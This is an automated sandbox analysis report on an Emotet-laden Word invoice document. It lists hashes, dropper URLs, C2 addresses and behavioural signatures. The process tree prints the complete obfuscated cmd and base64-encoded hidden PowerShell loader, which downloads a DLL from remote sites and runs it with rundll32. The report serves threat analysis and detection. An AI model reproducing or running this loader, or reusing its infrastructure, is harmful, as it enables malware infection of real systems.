emotet | 7b8c40801574e57e1e8ec63d7ef48d8072a41b95e548f7b140744017b2b3c0f3

Analysis

max time kernel
128s
max time network
139s
platform
windows7_x64
resource
win7v20201028
submitted
15-02-2021 15:02

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General

Target

INV895212 200121.doc
Size

158KB
MD5

67c9e5cb7f3d94b57b015f898e47f7ae
SHA1

6b15c55ddc7bd8fd48847f99469e60cb8b376f63
SHA256

7b8c40801574e57e1e8ec63d7ef48d8072a41b95e548f7b140744017b2b3c0f3
SHA512

5bf584e06564664ea022cf992e6c54ee58ba91d1bf7e4dc31b9604ace0f99b9f6d441021fa6c9709b14762743806daae668d7eb4297be74890a7f8d3795d0f57

Score

10^/10

emotet epoch1 banker trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://zhongsijiacheng.com/wp-content/jn5/

exe.dropper

http://artistascitizen.com/wp-content/Bx3cr6/

exe.dropper

http://ombchardin.com/archive/V/

exe.dropper

https://apsolution.work/magneti-marelli-zkkmb/toq7Eiy/

exe.dropper

https://happycheftv.com/wp-admin/z6uGcbY/

exe.dropper

https://careercoachconnection.com/tenderometer/4K/

exe.dropper

https://tacademicos.com/content/JbF68i/

Extracted

Family

emotet

Botnet

Epoch1

181.10.46.92:80

2.58.16.88:8080

206.189.232.2:8080

178.250.54.208:8080

167.71.148.58:443

202.134.4.210:7080

187.162.248.237:80

78.206.229.130:80

85.214.26.7:8080

5.196.35.138:7080

1.226.84.243:8080

110.39.162.2:443

185.183.16.47:80

152.231.89.226:80

138.97.60.141:7080

94.176.234.118:443

46.101.58.37:8080

93.146.143.191:80

70.32.84.74:8080

137.74.106.111:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1708 1772 cmd.exe
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

6 1088 powershell.exe
8 1088 powershell.exe
10 1892 rundll32.exe
13 1892 rundll32.exe
14 1892 rundll32.exe
17 1892 rundll32.exe
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1092 rundll32.exe
1092 rundll32.exe
1092 rundll32.exe
1092 rundll32.exe
1744 rundll32.exe
1744 rundll32.exe
1744 rundll32.exe
1744 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1708	1772	cmd.exe

flow	pid	process
6	1088	powershell.exe
8	1088	powershell.exe
10	1892	rundll32.exe
13	1892	rundll32.exe
14	1892	rundll32.exe
17	1892	rundll32.exe

pid	process
1092	rundll32.exe
1092	rundll32.exe
1092	rundll32.exe
1092	rundll32.exe
1744	rundll32.exe
1744	rundll32.exe
1744	rundll32.exe
1744	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Khltpulo\agfonve.eop	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1932 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exerundll32.exe

pid process

1088 powershell.exe
1088 powershell.exe
1892 rundll32.exe
1892 rundll32.exe
1892 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1088 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1932 WINWORD.EXE
1932 WINWORD.EXE

pid	process
1932	WINWORD.EXE

pid	process
1088	powershell.exe
1088	powershell.exe
1892	rundll32.exe
1892	rundll32.exe
1892	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1088	powershell.exe

pid	process
1932	WINWORD.EXE
1932	WINWORD.EXE

Suspicious use of WriteProcessMemory 37 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1708 wrote to memory of 684	1708	cmd.exe	msg.exe
PID 1708 wrote to memory of 684	1708	cmd.exe	msg.exe
PID 1708 wrote to memory of 684	1708	cmd.exe	msg.exe
PID 1708 wrote to memory of 1088	1708	cmd.exe	powershell.exe
PID 1708 wrote to memory of 1088	1708	cmd.exe	powershell.exe
PID 1708 wrote to memory of 1088	1708	cmd.exe	powershell.exe
PID 1088 wrote to memory of 1928	1088	powershell.exe	rundll32.exe
PID 1088 wrote to memory of 1928	1088	powershell.exe	rundll32.exe
PID 1088 wrote to memory of 1928	1088	powershell.exe	rundll32.exe
PID 1928 wrote to memory of 1092	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1092	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1092	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1092	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1092	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1092	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1092	1928	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1744	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1744	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1744	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1744	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1744	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1744	1092	rundll32.exe	rundll32.exe
PID 1092 wrote to memory of 1744	1092	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 896	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 896	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 896	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 896	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 896	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 896	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 896	1744	rundll32.exe	rundll32.exe
PID 896 wrote to memory of 1892	896	rundll32.exe	rundll32.exe
PID 896 wrote to memory of 1892	896	rundll32.exe	rundll32.exe
PID 896 wrote to memory of 1892	896	rundll32.exe	rundll32.exe
PID 896 wrote to memory of 1892	896	rundll32.exe	rundll32.exe
PID 896 wrote to memory of 1892	896	rundll32.exe	rundll32.exe
PID 896 wrote to memory of 1892	896	rundll32.exe	rundll32.exe
PID 896 wrote to memory of 1892	896	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INV895212 200121.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1932

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABTAFYAIAAgACgAIgBPAGsAIgArACIAQQAiACkAIAAgACgAIABbAHQAeQBQAGUAXQAoACIAewA2AH0AewA0AH0AewAzAH0AewAwAH0AewA1AH0AewAxAH0AewAyAH0AIgAtAGYAJwBpACcALAAnAEkAUgBlACcALAAnAGMAVABvAHIAeQAnACwAJwBlAG0ALgAnACwAJwBzAHQAJwAsACcAbwAuAEQAJwAsACcAUwB5ACcAKQApADsAIAAgACAAIAAkAEEAWgAxAEMAIAAgAD0AIAAgAFsAdABZAHAAZQBdACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADAAfQB7ADUAfQAiAC0ARgAgACcAcABvAGkATgBUAG0AQQBuACcALAAnAGUAdAAuACcALAAnAEUAbQAuAE4AJwAsACcAcwB5AFMAVAAnACwAJwBzAEUAcgBWAGkAYwBFACcALAAnAEEARwBlAFIAJwApACAAOwAgACQAWQBsAHUANwB5AG8AcwA9ACQAWQBfADgAQwAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUQAyADAAVwA7ACQAUAA5ADQASgA9ACgAKAAnAFQANQAnACsAJwBfACcAKQArACcAQwAnACkAOwAgACgAIAAgAEQASQByACAAKAAnAFYAYQAnACsAJwByAEkAQQBCACcAKwAnAEwARQA6AE8AJwArACcAawBBACcAKQAgACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIARQBgAEEAdABgAGUAZABJAHIARQBjAGAAVABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdwBzACcAKwAnAEEAJwApACsAKAAnAEMAcwA0ACcAKwAnAGMAMwB2ACcAKQArACgAJwBsACcAKwAnAHcAcwBBAFUAJwApACsAKAAnAHAAeQB1AG0AJwArACcAOAAnACkAKwAoACcAMAAnACsAJwB3AHMAQQAnACkAKQAuACIAcgBFAFAAYABMAGEAQwBFACIAKAAoACcAdwAnACsAJwBzAEEAJwApACwAJwBcACcAKQApACkAOwAkAFYAMQA1AFcAPQAoACcARgA1ACcAKwAnADEARwAnACkAOwAgACgAIABHAGMAaQAgACgAJwBWAGEAUgBJAGEAJwArACcAQgAnACsAJwBMAGUAOgAnACsAJwBBAHoAMQBDACcAKQAgACkALgB2AGEATABVAEUAOgA6ACIAcwBlAGMAdQBgAFIAaQBgAFQAeQBgAHAAYABSAE8AVABPAEMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABVADEANABSAD0AKAAnAFQAJwArACgAJwA5ACcAKwAnADUARgAnACkAKQA7ACQARAA3AHMAaAA4AHgAZgAgAD0AIAAoACcASgAnACsAKAAnAF8AMwAnACsAJwBRACcAKQApADsAJABPADMANQBRAD0AKAAnAEUANQAnACsAJwA5AE8AJwApADsAJABVADEAawB0AGMANwBpAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AQwBzACcAKwAnADQAYwAzAHYAbAB7ACcAKwAnADAAfQAnACsAJwBVAHAAJwArACgAJwB5ACcAKwAnAHUAbQAnACkAKwAnADgAMAAnACsAJwB7ACcAKwAnADAAfQAnACkAIAAgAC0ARgAgAFsAQwBoAGEAcgBdADkAMgApACsAJABEADcAcwBoADgAeABmACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABXADYAOQBZAD0AKAAoACcARwAxACcAKwAnADcAJwApACsAJwBOACcAKQA7ACQATAByADIAaABzADkANwA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAEsAYQA3ADQAcAA1AGUAPQAoACcAcwAnACsAKAAnAGcAIAB5ACcAKwAnAHcAJwApACsAKAAnACAAYQAnACsAJwBoADoALwAnACsAJwAvACcAKQArACcAegAnACsAKAAnAGgAbwAnACsAJwBuACcAKQArACgAJwBnACcAKwAnAHMAaQBqAGkAJwArACcAYQBjACcAKQArACgAJwBoACcAKwAnAGUAbgBnACcAKwAnAC4AYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AdwBwAC0AYwAnACsAJwBvAG4AdABlAG4AJwArACcAdAAnACkAKwAoACcALwBqAG4ANQAvACEAJwArACcAcwAnACsAJwBnACcAKQArACcAIAB5ACcAKwAnAHcAJwArACgAJwAgAGEAaAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAYQByACcAKwAnAHQAaQBzACcAKQArACgAJwB0AGEAJwArACcAcwBjACcAKQArACgAJwBpAHQAaQB6ACcAKwAnAGUAbgAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuACcAKQArACgAJwB0AGUAbgAnACsAJwB0ACcAKQArACgAJwAvAEIAeAAzACcAKwAnAGMAcgA2AC8AJwApACsAKAAnACEAcwBnACcAKwAnACAAJwApACsAJwB5ACcAKwAnAHcAIAAnACsAKAAnAGEAJwArACcAaAA6AC8ALwBvAG0AJwArACcAYgBjAGgAYQByACcAKwAnAGQAaQBuAC4AJwApACsAKAAnAGMAbwBtAC8AYQByAGMAJwArACcAaAAnACkAKwAnAGkAJwArACgAJwB2AGUAJwArACcALwBWACcAKwAnAC8AIQAnACsAJwBzAGcAIAAnACsAJwB5AHcAIABhAGgAJwApACsAKAAnAHMAOgAvAC8AYQBwACcAKwAnAHMAbwBsACcAKwAnAHUAdAAnACsAJwBpAG8AJwArACcAbgAnACkAKwAoACcALgAnACsAJwB3AG8AcgAnACkAKwAoACcAawAnACsAJwAvAG0AYQBnAG4AZQAnACkAKwAnAHQAJwArACgAJwBpAC0AbQBhACcAKwAnAHIAJwArACcAZQBsAGwAJwApACsAKAAnAGkAJwArACcALQB6AGsAJwArACcAawAnACsAJwBtAGIALwB0AG8AcQA3AEUAaQB5ACcAKwAnAC8AJwApACsAJwAhACcAKwAnAHMAZwAnACsAJwAgACcAKwAoACcAeQB3ACAAJwArACcAYQBoAHMAOgAnACsAJwAvAC8AaAAnACkAKwAnAGEAJwArACgAJwBwAHAAeQAnACsAJwBjACcAKwAnAGgAZQAnACsAJwBmAHQAdgAuAGMAbwBtAC8AJwArACcAdwBwAC0AYQAnACsAJwBkAG0AJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnAHoANgAnACkAKwAoACcAdQBHAGMAJwArACcAYgAnACsAJwBZAC8AIQAnACkAKwAoACcAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAaABzADoALwAnACsAJwAvAGMAYQByACcAKwAnAGUAJwApACsAJwBlAHIAJwArACcAYwAnACsAKAAnAG8AYQBjAGgAYwBvAG4AJwArACcAbgAnACkAKwAnAGUAJwArACcAYwAnACsAKAAnAHQAaQBvACcAKwAnAG4AJwArACcALgBjAG8AbQAvACcAKwAnAHQAJwArACcAZQBuAGQAZQByACcAKQArACgAJwBvACcAKwAnAG0AZQAnACkAKwAoACcAdABlAHIALwA0AEsAJwArACcALwAnACsAJwAhAHMAJwApACsAKAAnAGcAJwArACcAIAB5AHcAIABhACcAKwAnAGgAJwArACcAcwA6AC8ALwAnACkAKwAnAHQAYQAnACsAJwBjACcAKwAoACcAYQBkAGUAJwArACcAbQBpAGMAJwArACcAbwBzAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AYwBvACcAKwAnAG4AJwApACsAKAAnAHQAZQBuACcAKwAnAHQALwBKAGIARgA2ADgAJwArACcAaQAvACcAKQApAC4AIgBSAEUAUABMAGAAQQBDAGUAIgAoACgAJwBzACcAKwAoACcAZwAgACcAKwAnAHkAJwApACsAKAAnAHcAJwArACcAIABhAGgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEwAcgAyAGgAcwA5ADcALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBgAFAAbABJAFQAIgAoACQATwA1ADgATAAgACsAIAAkAFkAbAB1ADcAeQBvAHMAIAArACAAJABBAF8AOQBSACkAOwAkAFcAMAAwAFcAPQAoACcAWgBfACcAKwAnADYASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE4AZQBmAGMAdgBjADYAIABpAG4AIAAkAEsAYQA3ADQAcAA1AGUAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtAE8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4ATgBFAHQALgBXAEUAQgBjAEwASQBlAE4AdAApAC4AIgBEAE8AYAB3AG4AbABPAEEARABgAEYAaQBgAEwARQAiACgAJABOAGUAZgBjAHYAYwA2ACwAIAAkAFUAMQBrAHQAYwA3AGkAKQA7ACQATAAzADkAUQA9ACgAJwBIACcAKwAoACcAXwA1ACcAKwAnAEMAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVQAxAGsAdABjADcAaQApAC4AIgBMAGAAZQBOAGAARwBUAGgAIgAgAC0AZwBlACAAMwAzADUANwAxACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsACcAKwAnADMAMgAnACkAIAAkAFUAMQBrAHQAYwA3AGkALAAoACgAJwBBACcAKwAnAG4AeQAnACkAKwAoACcAUwB0AHIAaQAnACsAJwBuACcAKQArACcAZwAnACkALgAiAHQATwBTAHQAYABSAGAAaQBOAGcAIgAoACkAOwAkAEoAOAAzAEsAPQAoACcATwAnACsAKAAnAF8AJwArACcANwBYACcAKQApADsAYgByAGUAYQBrADsAJABRADIANgBFAD0AKAAnAFIAXwAnACsAJwA0AEQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQADMANQBZAD0AKAAoACcAUAAnACsAJwAxADUAJwApACsAJwBVACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:684

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABTAFYAIAAgACgAIgBPAGsAIgArACIAQQAiACkAIAAgACgAIABbAHQAeQBQAGUAXQAoACIAewA2AH0AewA0AH0AewAzAH0AewAwAH0AewA1AH0AewAxAH0AewAyAH0AIgAtAGYAJwBpACcALAAnAEkAUgBlACcALAAnAGMAVABvAHIAeQAnACwAJwBlAG0ALgAnACwAJwBzAHQAJwAsACcAbwAuAEQAJwAsACcAUwB5ACcAKQApADsAIAAgACAAIAAkAEEAWgAxAEMAIAAgAD0AIAAgAFsAdABZAHAAZQBdACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADAAfQB7ADUAfQAiAC0ARgAgACcAcABvAGkATgBUAG0AQQBuACcALAAnAGUAdAAuACcALAAnAEUAbQAuAE4AJwAsACcAcwB5AFMAVAAnACwAJwBzAEUAcgBWAGkAYwBFACcALAAnAEEARwBlAFIAJwApACAAOwAgACQAWQBsAHUANwB5AG8AcwA9ACQAWQBfADgAQwAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUQAyADAAVwA7ACQAUAA5ADQASgA9ACgAKAAnAFQANQAnACsAJwBfACcAKQArACcAQwAnACkAOwAgACgAIAAgAEQASQByACAAKAAnAFYAYQAnACsAJwByAEkAQQBCACcAKwAnAEwARQA6AE8AJwArACcAawBBACcAKQAgACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIARQBgAEEAdABgAGUAZABJAHIARQBjAGAAVABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdwBzACcAKwAnAEEAJwApACsAKAAnAEMAcwA0ACcAKwAnAGMAMwB2ACcAKQArACgAJwBsACcAKwAnAHcAcwBBAFUAJwApACsAKAAnAHAAeQB1AG0AJwArACcAOAAnACkAKwAoACcAMAAnACsAJwB3AHMAQQAnACkAKQAuACIAcgBFAFAAYABMAGEAQwBFACIAKAAoACcAdwAnACsAJwBzAEEAJwApACwAJwBcACcAKQApACkAOwAkAFYAMQA1AFcAPQAoACcARgA1ACcAKwAnADEARwAnACkAOwAgACgAIABHAGMAaQAgACgAJwBWAGEAUgBJAGEAJwArACcAQgAnACsAJwBMAGUAOgAnACsAJwBBAHoAMQBDACcAKQAgACkALgB2AGEATABVAEUAOgA6ACIAcwBlAGMAdQBgAFIAaQBgAFQAeQBgAHAAYABSAE8AVABPAEMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABVADEANABSAD0AKAAnAFQAJwArACgAJwA5ACcAKwAnADUARgAnACkAKQA7ACQARAA3AHMAaAA4AHgAZgAgAD0AIAAoACcASgAnACsAKAAnAF8AMwAnACsAJwBRACcAKQApADsAJABPADMANQBRAD0AKAAnAEUANQAnACsAJwA5AE8AJwApADsAJABVADEAawB0AGMANwBpAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AQwBzACcAKwAnADQAYwAzAHYAbAB7ACcAKwAnADAAfQAnACsAJwBVAHAAJwArACgAJwB5ACcAKwAnAHUAbQAnACkAKwAnADgAMAAnACsAJwB7ACcAKwAnADAAfQAnACkAIAAgAC0ARgAgAFsAQwBoAGEAcgBdADkAMgApACsAJABEADcAcwBoADgAeABmACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABXADYAOQBZAD0AKAAoACcARwAxACcAKwAnADcAJwApACsAJwBOACcAKQA7ACQATAByADIAaABzADkANwA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAEsAYQA3ADQAcAA1AGUAPQAoACcAcwAnACsAKAAnAGcAIAB5ACcAKwAnAHcAJwApACsAKAAnACAAYQAnACsAJwBoADoALwAnACsAJwAvACcAKQArACcAegAnACsAKAAnAGgAbwAnACsAJwBuACcAKQArACgAJwBnACcAKwAnAHMAaQBqAGkAJwArACcAYQBjACcAKQArACgAJwBoACcAKwAnAGUAbgBnACcAKwAnAC4AYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AdwBwAC0AYwAnACsAJwBvAG4AdABlAG4AJwArACcAdAAnACkAKwAoACcALwBqAG4ANQAvACEAJwArACcAcwAnACsAJwBnACcAKQArACcAIAB5ACcAKwAnAHcAJwArACgAJwAgAGEAaAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAYQByACcAKwAnAHQAaQBzACcAKQArACgAJwB0AGEAJwArACcAcwBjACcAKQArACgAJwBpAHQAaQB6ACcAKwAnAGUAbgAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuACcAKQArACgAJwB0AGUAbgAnACsAJwB0ACcAKQArACgAJwAvAEIAeAAzACcAKwAnAGMAcgA2AC8AJwApACsAKAAnACEAcwBnACcAKwAnACAAJwApACsAJwB5ACcAKwAnAHcAIAAnACsAKAAnAGEAJwArACcAaAA6AC8ALwBvAG0AJwArACcAYgBjAGgAYQByACcAKwAnAGQAaQBuAC4AJwApACsAKAAnAGMAbwBtAC8AYQByAGMAJwArACcAaAAnACkAKwAnAGkAJwArACgAJwB2AGUAJwArACcALwBWACcAKwAnAC8AIQAnACsAJwBzAGcAIAAnACsAJwB5AHcAIABhAGgAJwApACsAKAAnAHMAOgAvAC8AYQBwACcAKwAnAHMAbwBsACcAKwAnAHUAdAAnACsAJwBpAG8AJwArACcAbgAnACkAKwAoACcALgAnACsAJwB3AG8AcgAnACkAKwAoACcAawAnACsAJwAvAG0AYQBnAG4AZQAnACkAKwAnAHQAJwArACgAJwBpAC0AbQBhACcAKwAnAHIAJwArACcAZQBsAGwAJwApACsAKAAnAGkAJwArACcALQB6AGsAJwArACcAawAnACsAJwBtAGIALwB0AG8AcQA3AEUAaQB5ACcAKwAnAC8AJwApACsAJwAhACcAKwAnAHMAZwAnACsAJwAgACcAKwAoACcAeQB3ACAAJwArACcAYQBoAHMAOgAnACsAJwAvAC8AaAAnACkAKwAnAGEAJwArACgAJwBwAHAAeQAnACsAJwBjACcAKwAnAGgAZQAnACsAJwBmAHQAdgAuAGMAbwBtAC8AJwArACcAdwBwAC0AYQAnACsAJwBkAG0AJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnAHoANgAnACkAKwAoACcAdQBHAGMAJwArACcAYgAnACsAJwBZAC8AIQAnACkAKwAoACcAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAaABzADoALwAnACsAJwAvAGMAYQByACcAKwAnAGUAJwApACsAJwBlAHIAJwArACcAYwAnACsAKAAnAG8AYQBjAGgAYwBvAG4AJwArACcAbgAnACkAKwAnAGUAJwArACcAYwAnACsAKAAnAHQAaQBvACcAKwAnAG4AJwArACcALgBjAG8AbQAvACcAKwAnAHQAJwArACcAZQBuAGQAZQByACcAKQArACgAJwBvACcAKwAnAG0AZQAnACkAKwAoACcAdABlAHIALwA0AEsAJwArACcALwAnACsAJwAhAHMAJwApACsAKAAnAGcAJwArACcAIAB5AHcAIABhACcAKwAnAGgAJwArACcAcwA6AC8ALwAnACkAKwAnAHQAYQAnACsAJwBjACcAKwAoACcAYQBkAGUAJwArACcAbQBpAGMAJwArACcAbwBzAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AYwBvACcAKwAnAG4AJwApACsAKAAnAHQAZQBuACcAKwAnAHQALwBKAGIARgA2ADgAJwArACcAaQAvACcAKQApAC4AIgBSAEUAUABMAGAAQQBDAGUAIgAoACgAJwBzACcAKwAoACcAZwAgACcAKwAnAHkAJwApACsAKAAnAHcAJwArACcAIABhAGgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEwAcgAyAGgAcwA5ADcALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBgAFAAbABJAFQAIgAoACQATwA1ADgATAAgACsAIAAkAFkAbAB1ADcAeQBvAHMAIAArACAAJABBAF8AOQBSACkAOwAkAFcAMAAwAFcAPQAoACcAWgBfACcAKwAnADYASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE4AZQBmAGMAdgBjADYAIABpAG4AIAAkAEsAYQA3ADQAcAA1AGUAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtAE8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4ATgBFAHQALgBXAEUAQgBjAEwASQBlAE4AdAApAC4AIgBEAE8AYAB3AG4AbABPAEEARABgAEYAaQBgAEwARQAiACgAJABOAGUAZgBjAHYAYwA2ACwAIAAkAFUAMQBrAHQAYwA3AGkAKQA7ACQATAAzADkAUQA9ACgAJwBIACcAKwAoACcAXwA1ACcAKwAnAEMAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVQAxAGsAdABjADcAaQApAC4AIgBMAGAAZQBOAGAARwBUAGgAIgAgAC0AZwBlACAAMwAzADUANwAxACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsACcAKwAnADMAMgAnACkAIAAkAFUAMQBrAHQAYwA3AGkALAAoACgAJwBBACcAKwAnAG4AeQAnACkAKwAoACcAUwB0AHIAaQAnACsAJwBuACcAKQArACcAZwAnACkALgAiAHQATwBTAHQAYABSAGAAaQBOAGcAIgAoACkAOwAkAEoAOAAzAEsAPQAoACcATwAnACsAKAAnAF8AJwArACcANwBYACcAKQApADsAYgByAGUAYQBrADsAJABRADIANgBFAD0AKAAnAFIAXwAnACsAJwA0AEQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQADMANQBZAD0AKAAoACcAUAAnACsAJwAxADUAJwApACsAJwBVACcAKQA=
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1088

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll AnyString
3⤵
- Suspicious use of WriteProcessMemory
PID:1928

